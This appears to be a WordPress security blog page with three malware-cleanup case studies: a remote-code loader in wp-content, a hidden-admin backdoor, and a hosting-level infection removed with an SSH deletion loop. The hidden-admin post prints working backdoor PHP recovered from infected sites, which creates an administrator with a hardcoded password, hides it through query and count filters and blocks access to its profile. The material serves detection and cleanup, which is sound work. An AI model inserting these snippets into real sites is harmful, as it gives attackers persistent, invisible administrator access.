Category: WordPress Malware

The client did not come to me because the homepage was defaced or the site was completely down.

The site still worked. It just felt wrong.

That is how a lot of modern WordPress infections behave. They stay quiet long enough to avoid attention, then give the attacker a way back in whenever they want it.

In this cleanup, I logged into the client’s DreamHost file manager and checked /wp-content/. That is where I found three files that had no legitimate reason to be sitting there:

• fa.php
• fazel.php
• trigger.txt

The names were generic enough to be ignored at first glance. That is part of what made them dangerous.

On a hacked site, this is exactly the kind of thing I look for: loose files with vague names, sitting in places where they do not belong, and blending in just enough that the site owner never questions them.

---

Why These Files Were a Red Flag

wp-content is a normal WordPress directory, but that does not mean every file inside it is normal.

Plugins, themes, uploads, and other site-specific assets live under wp-content. What concerned me here was the combination of location, file type, and naming:

• two unexplained PHP files placed directly in wp-content/
• a text file named trigger.txt sitting beside them
• no legitimate plugin or theme reason for those files to be there

That does not happen in a healthy WordPress install by accident.

If you are trying to figure out whether your own site shows similar warning signs, read my guide on how to detect WordPress malware manually.

---

What the Backdoor Was Doing

After I found the files, I opened the code to see what the attacker had actually left behind.

This was not a full visual web shell on its own. It was a loader — a small piece of code whose job was to pull in the real payload later.

1. It fetched a second-stage payload

In the sample I analyzed, the code used a function named geturlsinfo to request content from a remote URL. That is the first big clue that you are not dealing with a harmless stray file.

A loader like this does not need to contain the whole attack. It only needs enough logic to reach out, pull down code, and execute it when needed.

2. It used trigger.txt as a simple control file

In this case, the script checked the contents of trigger.txt before running. That made the file more than harmless clutter. It acted like a basic switch for the loader.

The important point is not that every malware sample uses a file with this exact name. The important point is that attackers often leave behind tiny helper files that control when or how the backdoor runs.

3. It executed the fetched code with eval()

The most dangerous behavior in the sample was this line:

eval('?>' . $a);

In plain English, that means: take the code that was just pulled in and run it on the server.

That is what turns a “strange file” into a real compromise.

If an attacker can fetch and execute remote code like that, they do not need to keep uploading every payload manually. They already have a working door back into the site.

---

Technical Breakdown: Why This Loader Was Dangerous

For developers and technical site owners, here is why this was more than a random stray script.

1. It tried to blend in with normal traffic

The sample included a browser-like user agent string. That is a common trick. It helps outbound requests look more like normal web traffic instead of an obvious automated fetch.

2. It had fallback methods

The script did not rely on only one outbound function. It tried several common PHP methods so it could still pull a payload even if one approach was unavailable on that server.

• curl_exec
• file_get_contents
• fopen

That kind of fallback logic tells you the file was written for reliability, not by accident.

3. It appeared to be pulling an Alfa-style shell

In the sample I reviewed, the fetched payload name suggested an Alfa-style web shell. That matters because once a web shell lands on a server, the attacker can browse files, modify PHP, read configuration data, and plant more malware without going through the normal WordPress login flow.

This is why I treat loader files seriously even when the visible site still looks normal.

For another real example of hidden persistence, see the wp-compat backdoor case and my guide on how hackers hide backdoors in WordPress.

---

How I Cleaned the Site Properly

Deleting one file is not cleanup. It is only the first visible step.

Here is the process I used on this site:

1. Backed up the infected state: before changing anything, I preserved the current files for reference.
2. Removed the malicious files: I deleted fa.php, fazel.php, and trigger.txt.
3. Reviewed core integrity: I checked for tampered WordPress core files and replaced anything suspicious with clean copies.
4. Searched for other backdoors: I reviewed the rest of the filesystem, database, and high-risk files for persistence.
5. Patched the entry point: I updated WordPress core, plugins, and themes to close the hole that allowed the upload in the first place.
6. Rotated access: I changed credentials and forced active sessions out.

If you only remove the visible file and skip the rest, the same attacker often comes back through the same weakness a day later.

That is exactly why this guide pairs well with why WordPress malware keeps coming back and how to scan and clean your WordPress database for hidden malware.

---

What I Would Check Next on a Site Like This

When I find a loader like this, I do not stop at the three visible files. I keep going until I understand the full compromise.

On similar jobs, I check:

• wp-config.php for injected includes or altered settings
• .htaccess for redirects or hidden execution paths
• plugins and must-use plugins for hidden backdoors
• cron jobs or scheduled tasks that could reinstall malware
• the database for injected scripts, spam, or rogue options
• other unknown files in wp-content, uploads, or the site root

If your site has already started redirecting visitors, showing strange titles in Google, or generating spam pages, this related cleanup may help: how I removed a malicious redirect from a client WordPress site.

---

How to Tell if Your Site May Have the Same Problem

You do not always get a big, obvious warning when a backdoor is present. Sometimes the clues are smaller:

• new PHP files you do not recognize
• slow admin or strange outbound requests
• unexpected changes to core files
• spam URLs or odd titles appearing in Google
• scanner results that say “clean” while the site still behaves strangely

If you see unknown pages in Google, also run a quick site:yourdomain.com search and review Search Console security warnings if you have them.

For a broader checklist, see 60 clear signs your WordPress site is hacked.

---

FAQ

Is every PHP file in wp-content malware?

No. WordPress plugins and themes use PHP. What made this case suspicious was the location, the filenames, and the fact that the client had no legitimate reason for those loose files to exist directly in wp-content/.

Can I just delete fa.php and move on?

Not safely. If one loader file exists, there may be other persistence points in the database, wp-config.php, cron, plugins, or other writable folders.

Why didn’t the WordPress dashboard warn me?

Because file-level backdoors do not need to show up as plugins or visible admin changes. Many infections live quietly in the filesystem until they are used.

What if the files come back after I remove them?

That usually means the real entry point or persistence mechanism is still active. At that point, you are dealing with reinfection, not just leftover files.

---

Need Help Cleaning a Hidden WordPress Backdoor?

If you found strange files in your hosting panel and you are not sure whether they are harmless or malicious, do not guess.

A file-level backdoor is exactly the kind of infection that gets missed when someone only checks the dashboard or deletes one obvious file.

If you want a proper cleanup, start here:

WordPress Malware Removal Service

Or request a manual review here:

Free WordPress Malware Scan

If you suspect a hidden admin user on your WordPress site — maybe your dashboard says “All Users (1)” but a security plugin counter shows “2”, maybe your malware keeps coming back after cleanup, or maybe new admin accounts you didn’t create keep appearing — you’re dealing with one of the most sophisticated WordPress backdoors in active circulation. The malware creates an invisible administrator account, hides it from your Users screen using WordPress’s own filter hooks, and recreates the account every time you delete it. The fix is to first find and remove the malicious code (typically in functions.php, mu-plugins/, or a fake plugin folder) — only then can you delete the rogue user safely. Skip step one and the user comes back within seconds.

---

The Moment You Realize Something’s Wrong

There’s a specific moment that brings WordPress site owners into my inbox more than any other backdoor symptom: they’re looking at their Users page in the WordPress dashboard, and the numbers don’t add up.

Maybe their “All Users” count says (1) — just them, the legitimate admin. But somewhere else on the same page, a third-party plugin counter shows something different. A 2FA plugin says 2 Inactive. An activity log shows recent logins from a username they don’t recognize. Wordfence reports more administrators than the dashboard shows.

The math doesn’t work. And that math discrepancy is the single most reliable indicator of a hidden admin user backdoor — one of the most dangerous and persistent malware families currently affecting WordPress.

In the past 18 months, I’ve found this exact attack pattern on hundreds of WordPress sites — including high-traffic e-commerce stores, business sites, and membership platforms. The malware is sophisticated, the attack is persistent, and it’s the single most common reason “cleaned” WordPress sites get reinfected within days.

This guide walks through exactly how the attack works, how to spot it, how to verify it, and most importantly — how to remove it without it coming straight back. Real code samples from real cleanups. No theory.

If you’re confident your site is compromised and you need urgent help, my WordPress malware removal service handles exactly this attack class.

---

Why Hidden Admin Users Are More Dangerous Than Visible Malware

A visible malware file gets noticed and cleaned. A hidden administrator gets kept. That distinction is the entire point of the attack.

When attackers maintain hidden admin access, they can:

• Maintain persistence even after thorough file cleanup. You delete the visible malware. They log back in with their hidden account and reinfect the site within minutes.
• Avoid triggering the original entry-point vulnerability again. The attacker doesn’t need to re-exploit a plugin or guess a password. They walk in through the front door using their stealth admin account.
• Install plugins, edit theme files, create more users, plant more backdoors. An admin account has unlimited capability inside WordPress.
• Stay invisible while you watch. The dashboard looks normal. The site loads correctly. Nothing visibly wrong — until the next infection.
• Coordinate with other malware. Hidden admin users are usually one component in a larger compromise — typically paired with backdoor PHP files, modified core files, scheduled cron jobs, or database injections.

This is why I treat any hidden admin discovery as a major incident, not a minor cleanup. Where there’s one stealth admin, there’s almost always more infection underneath.

---

The Anatomy of the Attack: How the Malware Actually Works

Modern hidden admin malware uses five interconnected techniques. Understanding each one is what lets you detect and remove it properly.

1. The Malware Creates an Administrator Account

This is the simplest part. The malicious code uses WordPress’s own legitimate user-creation function (wp_insert_user or wp_create_user) to create a new admin. From WordPress’s perspective, this is a normal API call — there’s nothing inherently malicious about it.

Here’s actual code I’ve extracted from infected sites — this is the adminbackup variant that’s currently the most common:

$params = array(
    'user_login' => 'adminbackup',
    'user_pass'  => 'o8Qcdaevd9',                    // Hardcoded password
    'role'       => 'administrator',
    'user_email' => 'adminbackup@wordpress.org'
);

if (!username_exists($params['user_login'])) {
    $id = wp_insert_user($params);
    update_option('_pre_user_id', $id);              // Save the ID for later hiding
}

The pattern is universal across variants:

• Check if the rogue user already exists
• If not, create it with administrator role and a hardcoded password
• Save the new user’s ID in wp_options (typically as _pre_user_id) so the malware can reference it later

The username changes between variants. The most common ones I see:

• adminbackup (extremely common in 2025–2026)
• adm1nlxg1n — note the “1” instead of “i” and “g1n” instead of “gin”
• support_user
• sys_maint_service
• help
• codepapa
• fallback_admin
• wp_updater

2. The Malware Hides the User From Your Dashboard

This is the clever part — the part that makes the attack so hard to detect by visual inspection. The malware hooks into WordPress’s pre_user_query filter and modifies the database query before the dashboard runs it:

add_action('pre_user_query', function($user_search) {
    $user_id = get_current_user_id();
    $id = get_option('_pre_user_id');                // The ID of the malicious user

    global $wpdb;
    // Inject SQL to exclude the malicious ID from results
    $user_search->query_where = str_replace(
        'WHERE 1=1',
        "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
        $user_search->query_where
    );
});

In plain English: the code tells the database “show me all users except the one with this specific ID.” The rogue admin still exists in wp_users. The dashboard just refuses to display the row.

That’s why the user appears invisible — and why you can’t find them through any normal WordPress interface, no matter how carefully you look.

3. The Malware Fakes the User Count

If the dashboard hid the rogue user but the count at the top still said “All (2)” instead of “All (1)”, the trick would be obvious. So the malware also modifies the count display:

function fake_user_count($views) {
    $html = explode('<span class="count">(', $views['all']);
    $count = explode(')</span>', $html[1]);
    $count[0]--;                                     // Subtract 1 from the displayed count
    $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
    return $views;
}
add_filter('views_users', 'fake_user_count');

The count gets mathematically reduced by 1 across the standard WordPress views (All, Administrator, etc.) so the math looks consistent. This is also where the malware makes its critical mistake — and how you can catch it.

4. The Mistake: Third-Party Plugin Counts

The attacker hardcodes the count-faking logic for WordPress’s built-in views — “All”, “Administrator”, “Editor”, etc. They don’t account for views added by third-party plugins.

So when a 2FA plugin adds its own “2FA Active” and “2FA Inactive” filter, the malware doesn’t know to subtract 1 from those counts. The result:

• “All Users (1)” — faked count, hides the rogue admin ✓
• “Administrator (1)” — faked count, hides the rogue admin ✓
• “2FA Inactive (2)” — real count, exposes the rogue admin ✗

This is why a 2FA plugin, an activity log plugin, or a security scanner often catches what WordPress’s own dashboard hides. If your numbers don’t match across different plugin counters, investigate immediately.

5. The Malware Protects Itself From Cleanup

The fifth technique is what makes deletion attempts fail. The malware also blocks direct access to the rogue user’s profile:

if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) {
    wp_die(__('Invalid user ID.'));
}

If a savvy admin guesses the ID and tries to navigate directly to the user’s profile (e.g., user-edit.php?user_id=123), they get an “Invalid user ID” error. The malware also blocks deletion attempts and resets the password if it gets changed.

And the kicker: even if you somehow do delete the user, the creation logic from step 1 runs again on the next page load and recreates the account immediately.

---

Where the Malicious Code Hides

In real client cleanups, I find this code in five recurring locations. Knowing where to look is half the battle.

1. Theme functions.php

The most common location. functions.php runs on every page load, which gives the malware unlimited opportunities to recreate the user. Attackers append the malicious code to the end of the file or scatter it among legitimate theme code.

How to check: Open wp-content/themes/your-active-theme/functions.php via FTP or File Manager. Look for any code referencing wp_insert_user, wp_create_user, pre_user_query, views_users, or hardcoded usernames like the ones listed above.

2. wp-content/mu-plugins/

The “must-use” plugins folder. Files here are loaded automatically by WordPress before regular plugins, and they don’t appear in the standard Plugins list — making this folder a favorite hiding spot.

A clean WordPress installation does not have files in mu-plugins/ unless you or a developer deliberately put them there. Anything in this folder that you don’t recognize is suspicious by default.

3. Fake Plugin Folders

Attackers create fake plugin folders with names that sound technical and important. Recent examples I’ve found in real cleanups:

• wp-compat (“WP Compatibility Patch”)
• CacheFusion
• CDNConnect
• OperationGraph
• DebugMaster
• WP System Health Check
• NexusGrid Performance Loader
• Advanced Server Response Handler

These plugin names sound like infrastructure components site owners are afraid to delete. That fear is exactly what the attacker is exploiting. None of these are real plugins.

How to check: Open wp-content/plugins/ via FTP and review every folder. If a folder looks unfamiliar, hasn’t been updated through the WordPress admin, or has a recent “Last Modified” date when other plugins haven’t changed, treat it as suspicious. You’ll often see this in your plugin list as a plugin you don’t remember installing — but advanced variants also hide themselves from the plugin list using the all_plugins filter, so don’t trust the dashboard alone.

4. Disguised Core Files

Some attackers plant the backdoor as a fake WordPress core file. Names I’ve found in cleanups:

• wp-user.php at the site root (real WordPress doesn’t have this file)
• wp-l0gin.php — zero instead of “o”
• wp-the1me.php — “1” instead of “i”
• wp-scr1pts.php
• lock360.php

How to check: Compare your WordPress core directory to a fresh download from WordPress.org. Anything in the root, wp-admin/, or wp-includes/ that doesn’t exist in the official version is suspicious.

5. Database-Injected Code

The most sophisticated variants store the malicious code as serialized PHP inside the WordPress database (typically in wp_options) and use a small loader file to retrieve and execute it on each request. This makes file-level cleanup particularly hard because removing the loader doesn’t remove the payload, and removing the payload from the database doesn’t help if the loader keeps regenerating it.

For a deeper look at database-side malware, see how to scan and clean your WordPress database for hidden malware.

---

How to Detect Hidden Admin Users (4 Methods, Most Reliable First)

Don’t trust the WordPress dashboard alone if you suspect this attack. Use multiple detection methods.

Method 1: Check the Database Directly (Most Reliable)

This is the gold standard. Open phpMyAdmin (in your hosting control panel) or another database client, navigate to your WordPress database, and inspect the wp_users table directly:

SELECT ID, user_login, user_email, user_registered
FROM wp_users
ORDER BY user_registered DESC;

The query returns every user that exists in the database, regardless of any WordPress filters. Compare the list against what your dashboard shows. Any account you see in the database but not in the dashboard is a hidden user — almost certainly malicious.

Pay special attention to:

• Usernames you don’t recognize
• Email addresses on suspicious domains (@wordpress.org is a classic — WordPress.org doesn’t actually email users from this domain)
• Recently registered admin accounts that shouldn’t exist
• Accounts with no associated wp_usermeta activity (no posts, no logins recorded by activity plugins)

After spotting a suspicious user, check their role in wp_usermeta:

SELECT * FROM wp_usermeta
WHERE user_id = [SUSPICIOUS_USER_ID]
AND meta_key = 'wp_capabilities';

If the result shows administrator, you’ve confirmed a hidden admin.

Method 2: Check the User Count Discrepancy

This is the fastest way to spot the attack without leaving the WordPress dashboard. Look at multiple counters on your Users page:

• The “All Users” count at the top
• The “Administrator” count
• Any third-party plugin counters (2FA plugins, activity log plugins, security scanners)

If any of those numbers don’t match, you have a hidden user. Trust the third-party plugin counts — they’re harder for the malware to fake.

Method 3: Use WP-CLI

If you have SSH access, WP-CLI commands give you a different view of the user list:

wp user list --role=administrator

Sometimes WP-CLI shows users that the WordPress dashboard hides, because the malware’s filters specifically target the wp-admin display layer. But this isn’t guaranteed — sophisticated malware can sometimes interfere with WP-CLI too. Use it as a diagnostic tool, but treat the database as your source of truth.

Method 4: Check Activity Logs and Login Records

If you have an activity log plugin installed (Simple History, WP Activity Log, etc.), review:

• Recent user creation events
• Recent admin logins from unfamiliar IPs
• Recent role changes

Some activity log plugins record the creation event even if the user is later hidden — giving you a paper trail of when the attack happened and what username was created.

---

How to Remove a Hidden Admin User Safely (The Order Matters)

This is where most DIY cleanups fail. Do not delete the user first. If you delete the user before removing the malicious code, the code recreates them within seconds.

Step 1: Find and Remove the Malicious Code

Before touching the database or the user list, locate every file that contains the malicious code:

1. Open functions.php in your active theme — this is the most common location. Look for the patterns described above (hardcoded usernames, pre_user_query filters, views_users filters, wp_insert_user calls).
2. Check wp-content/mu-plugins/ — delete any file you don’t recognize.
3. Audit wp-content/plugins/ for fake plugin folders with the names listed above (or anything with a recent modification date when other plugins haven’t changed).
4. Compare core files against a fresh WordPress download to find disguised core files.
5. Search the database for serialized backdoor payloads in wp_options.

Remove every malicious file or code block. Don’t move on until you’re confident you’ve found them all — leftover code will recreate the user.

For the broader detection workflow, see how to detect WordPress malware, and for backdoor patterns specifically, the wp-compat plugin backdoor analysis covers a closely related variant.

Step 2: Confirm the User Is Now Visible

Refresh your WordPress Users page. If the malicious code was the only mechanism hiding the user, they should now appear in the list. If they don’t appear, you missed code somewhere — go back to Step 1.

Step 3: Delete the User

Once the user is visible and the malicious code is gone, delete the account:

1. Hover over the rogue user in the WordPress Users list
2. Click “Delete”
3. If prompted, attribute their content to another user (the rogue admin shouldn’t have any content, but WordPress asks anyway)
4. Confirm the deletion

If the dashboard delete doesn’t work, you can delete directly from the database:

DELETE FROM wp_users WHERE ID = [ROGUE_USER_ID];
DELETE FROM wp_usermeta WHERE user_id = [ROGUE_USER_ID];

Step 4: Rotate Credentials and Salts

The attacker had administrator access, which means they could read your wp-config.php, your database credentials, and any cached session data. Treat everything as compromised:

1. Change every WordPress admin password (force password reset for all users)
2. Change your hosting cPanel password
3. Change FTP/SFTP credentials
4. Change your database user password (and update wp-config.php to match)
5. Generate fresh WordPress security keys (salts) at api.wordpress.org/secret-key/1.1/salt/ and replace the corresponding lines in wp-config.php — this invalidates every active session, including any the attacker still has

Step 5: Patch the Original Entry Point

The attacker got in through something. If you don’t fix that, this entire process repeats next month. Common entry points:

• An outdated plugin with a known vulnerability — update everything
• A nulled or pirated plugin/theme that shipped with a backdoor — remove it (see why nulled plugins are a security disaster)
• A stolen or weak admin password — strong unique passwords plus 2FA
• An XSS or SQL injection vulnerability in custom code — audit and fix
• An exposed admin login page — limit login attempts and enable 2FA

For a complete post-cleanup checklist, see what to do after fixing a hacked WordPress site.

---

Why Hidden Admin Users Keep Coming Back After Cleanup

I get this question constantly: “I deleted the user, the code, everything I could find — and it’s back two days later.” When this happens, one of these is true:

• You missed code somewhere. Even one surviving copy of the malicious code recreates the user. Check functions.php, mu-plugins/, every plugin folder, theme files, and disguised core files.
• There’s a backdoor PHP file you haven’t found. A separate file (often in wp-content/uploads/, named to look innocuous) that recreates the malicious code in functions.php when triggered.
• A scheduled cron job is running the regeneration. WordPress cron, server cron, or both. Check wp_options for the cron entry and your hosting cPanel for unfamiliar scheduled tasks.
• The attacker still has a separate admin account. Some attacks plant multiple stealth admins so removing one leaves another. Audit every admin in the database, not just the suspicious one you noticed first.
• The original vulnerability is still open. The attacker simply re-exploits it and recreates the entire infection.

For the full reinfection diagnostic process, see why WordPress malware keeps coming back and how to stop it forever.

---

How This Attack Connects to Bigger Compromises

In my experience, hidden admin users almost never operate alone. They’re typically one component of a larger compromise that also includes:

• Obfuscated backdoor PHP files hidden in uploads or fake plugin folders — see finding a hidden backdoor in a client’s WordPress site
• Modified WordPress core files — particularly wp-config.php, index.php, and files in wp-includes/
• Cron-based persistence recreating the malware every few minutes
• SEO spam injections in the database — Japanese keyword hack, pharma spam, casino spam
• Defacement code — see WordPress homepage defacement case study
• Redirect malware — see JavaScript redirect malware detection guide
• Other fake plugins — see the comprehensive list of known fake malicious WordPress plugins

When you find a hidden admin, treat it as evidence of a broader compromise — not as the whole problem. The cleanup needs to address every layer.

---

FAQ

How do I know if my WordPress site has a hidden admin user?

The fastest signal is a user count discrepancy. If your “All Users” count says 1 but a 2FA plugin, activity log, or security scanner shows 2, you almost certainly have a hidden admin. Other warning signs include malware that keeps coming back after cleanup, unfamiliar admin login emails, sudden site behavior changes, and password resets you didn’t request. The most reliable confirmation is checking wp_users directly via phpMyAdmin.

Can WordPress malware really hide a user from my dashboard?

Yes — and it’s surprisingly straightforward technically. WordPress provides a filter called pre_user_query that lets any plugin (or any malicious code injected into a theme) modify the SQL query used to display users. Malware abuses this by adding AND ID != [hidden_id] to the query, excluding the rogue user from the dashboard while leaving them fully active in the database.

I deleted the hidden admin and it came back. Why?

Because the malicious code that creates the user is still on your server. Most variants check on every page load whether the rogue user exists, and recreate it if it doesn’t. You have to remove the malicious code first (typically in functions.php, mu-plugins/, or a fake plugin folder), then delete the user. Doing them in the wrong order doesn’t work.

What’s the typical username for a hidden admin user?

The most common ones I see in 2025–2026 cleanups are adminbackup, adm1nlxg1n, support_user, sys_maint_service, help, fallback_admin, and codepapa. Variants change frequently, but the pattern is consistent: usernames designed to look administrative or technical, often with subtle character substitutions (zero for “o”, “1” for “i”).

Can security plugins like Wordfence or Sucuri detect this?

Sometimes. Better security plugins detect the malicious code patterns (wp_insert_user with hardcoded credentials, pre_user_query filters that exclude specific IDs). But sophisticated variants use obfuscation, base64 encoding, or split the malicious functions across multiple files specifically to evade pattern-matching scanners. The user count discrepancy method I described above is more reliable than any single scanner.

Where does the malicious code that creates hidden admins usually hide?

In order of frequency: theme functions.php, wp-content/mu-plugins/, fake plugin folders with names like wp-compat, CacheFusion, or CDNConnect, disguised core files with names like wp-user.php or wp-l0gin.php (zero instead of “o”), and serialized payloads in the wp_options database table.

Should I just reinstall WordPress to get rid of this?

Reinstalling WordPress core helps but isn’t sufficient on its own. The malicious code is usually in the theme or a fake plugin, not in core files — so a core reinstall doesn’t touch it. The user accounts are in the database, which a core reinstall doesn’t replace either. A complete cleanup requires: (1) removing the malicious code from wherever it actually lives, (2) deleting the rogue user from the database, (3) reinstalling core/themes/plugins from clean sources, and (4) closing the original entry point.

How long has this attack been around?

The basic pattern (creating a hidden admin via functions.php code) has been documented since at least 2020. The adminbackup variant specifically has been spreading widely since 2024–2025, with Sucuri publishing a major analysis in mid-2025. The attack has evolved over time — adding self-protection logic, count-faking, plugin-list hiding, and database persistence — but the core technique remains the same.

Can I prevent this attack from happening?

Yes. The hardening that actually works: keep WordPress core, plugins, and themes updated; throw away nulled or pirated software; use strong unique passwords with two-factor authentication; disable file editing in wp-config (define('DISALLOW_FILE_EDIT', true);); install a Web Application Firewall; and set up file integrity monitoring that alerts on changes to functions.php. Most hidden admin infections trace back to a vulnerable plugin or a stolen password — close those gaps and the attack class becomes much harder.

---

Related Reading

• WordPress Malware Removal Service
• Why WordPress malware keeps coming back
• How to scan and clean your WordPress database for hidden malware
• The wp-compat plugin: hidden backdoor analysis
• Comprehensive list of known fake and malicious WordPress plugins
• Found suspicious code in functions.php — the ghost admin hack
• Finding a hidden backdoor in a client’s WordPress site
• How to detect WordPress malware
• What to do after fixing a hacked WordPress site
• Why nulled plugins and themes are a security disaster

---

Need Help With a Hidden Admin User on Your WordPress Site?

Hidden admin users are one of the highest-stakes findings in a WordPress security review. They mean an attacker has persistent administrator access — the kind that bypasses every cleanup attempt that doesn’t address the underlying code. In the past 18 months, I’ve found this exact attack pattern on hundreds of WordPress sites, ranging from small business blogs to high-traffic e-commerce stores.

If your dashboard counts don’t match, your malware keeps coming back after cleanup, or you’ve found suspicious accounts like adminbackup in your database, this is exactly the kind of incident I clean every week. I’ve recovered more than 4,500 hacked WordPress sites since 2018.

Get Expert WordPress Malware Removal — or contact me directly via the hire me page.

A client contacted me after Bluehost completely suspended their hosting account due to malware detection.
Unlike typical WordPress infections, this case involved a large number of malicious executable files scattered across the hosting account, listed by Bluehost in a file named malware_bin.txt.

Bluehost clearly stated that all listed files must be deleted before account access could be restored.
If even one file remained, the account could be reinfected and suspended again.

This was not a standard WordPress cleanup. This was a hosting-level malware incident.

---

Initial Assessment

The hosting account contained multiple WordPress sites, and malware was detected in areas often considered safe, such as:

• /wp-content/plugins/

• /wp-content/themes/

For example:

• jetpack/jetpack_vendor/automattic/jetpack-masterbar/src/admin-color-schemes/compat42x

• bluehost-wordpress-plugin/vendor/newfold-labs/wp-module-solutions/includes/addtocart

• all-in-one-wp-migration/lib/vendor/servmask/filetypes.inc

These files were not part of normal plugin or theme functionality.

A legitimate WordPress installation normally consists of:

• PHP

• JavaScript

• HTML / CSS / SCSS

• Images and media

• Document files

Executable or random system-style files inside plugins/themes are red flags.

This indicated:

• Malware existed inside plugin and theme directories, not just outside WordPress

• Plugin-based scanners could easily miss these hidden files

• Incomplete cleanup could immediately trigger reinfection

---

Why Security Plugins Failed

WordPress security plugins focus on:

• Modified core files

• Known plugin/theme exploits

• Database injections

In this case:

• Malware lived in legitimate plugin directories but used strange filenames (insert_hw, addtocart, filetypes.inc)

• Some files were hidden deep inside vendor libraries

• Others mimicked standard plugin assets (compat42x) to evade detection

Bluehost detected the malware at the hosting level, which is why WordPress scanners did not flag it.

---

Mandatory Step: Full Backup

Before removing anything:

• A full hosting account backup was taken
• All files and databases were preserved

This step is critical.
Mass deletion without a backup can permanently break websites or destroy forensic evidence.

---

Malware Cleanup Strategy

Identifying the Malware

From malware_bin.txt, I extracted approximately 50–80 unique malicious file names.
These filenames appeared repeatedly across different directories in the hosting account.

Each filename was manually reviewed to confirm:

• It was not part of WordPress core
• It was not used by any plugin or theme
• It was not a legitimate application file

Only after verification was removal approved.

---

Why Manual Deletion Was Not an Option

• Files were scattered across hundreds of directories
• Many filenames appeared multiple times
• Missing even one file could re-trigger the infection
• cPanel file managers are too limited for this scope

This required a server-level, SSH-based automated cleanup.

---

⚠️ Warning: Advanced Malware Removal – Only Attempt If You Have Server Experience

This case study describes a highly technical, server-level malware removal process involving SSH access, filename loops, and manual deletions across WordPress plugins, themes, and hosting directories.

Do not attempt this if you are not experienced with Linux, SSH, or WordPress server administration.

Mistakes can lead to:

• Permanent data loss

• Broken WordPress installations

• Re-infection of your hosting account

• Possible hosting account suspension

If you are unsure, it’s strongly recommended to hire a professional to safely perform these steps.

---

SSH-Based Malware Removal Using a Loop

To ensure complete removal, I used an SSH loop that iterated through the list of malicious filenames and deleted every occurrence across the entire hosting account.

Simplified Example of the Logic Used

files=(
  "rvsMasterCompoDB"
  "phpthumb.unsharp"
  "currencyVars.inc"
  "cron.bak"
  "toolbadex.hacked"
  ".key-daemon"
  ".pulse-listener"
  ".sys-config"
  "bigocaptcha"
)

for file in "${files[@]}"; do
  find /home/username/ -type f -name "$file" -delete
done

This method ensured that:

• All malicious files were located regardless of directory depth
• Duplicate payloads were fully removed
• No reinfection vectors were left behind
• Cleanup was consistent and verifiable

This level of cleanup cannot be achieved using WordPress plugins or control panel tools.

---

Post-Cleanup Verification

After removal:

• File permissions were reviewed
• No unexpected executable or system-like files remained
• WordPress core integrity was validated
• Bluehost re-scanned the hosting account

The hosting account was fully restored.
No reinfection occurred.

---

Key Takeaways From This Case

• Not all WordPress malware lives inside WordPress
• Executable files in a WordPress hosting account are a major red flag
• Hosting providers often detect malware that plugins miss
• Cleaning only wp-content is not enough
• SSH-level access is critical for serious infections

If your hosting provider suspends your account, the problem is often bigger than WordPress itself.

---

How to Prevent This Type of Infection

• Restrict executable permissions on shared hosting
• Regularly scan non-WordPress directories
• Do not rely solely on security plugins
• Harden hosting-level security, not just WordPress

Without these steps, reinfection is only a matter of time.

---

Final Note

If your hosting provider has:

• Disabled your account
• Sent a malware report you do not understand
• Flagged executable or system-style files
• Rejected plugin-based cleanups

You are dealing with a server-level or shared hosting malware infection.

This type of issue requires manual, SSH-based remediation, not automated tools.

For professional cleanup, reinfection prevention, and hosting restoration, you can reach me through mdpabel.com.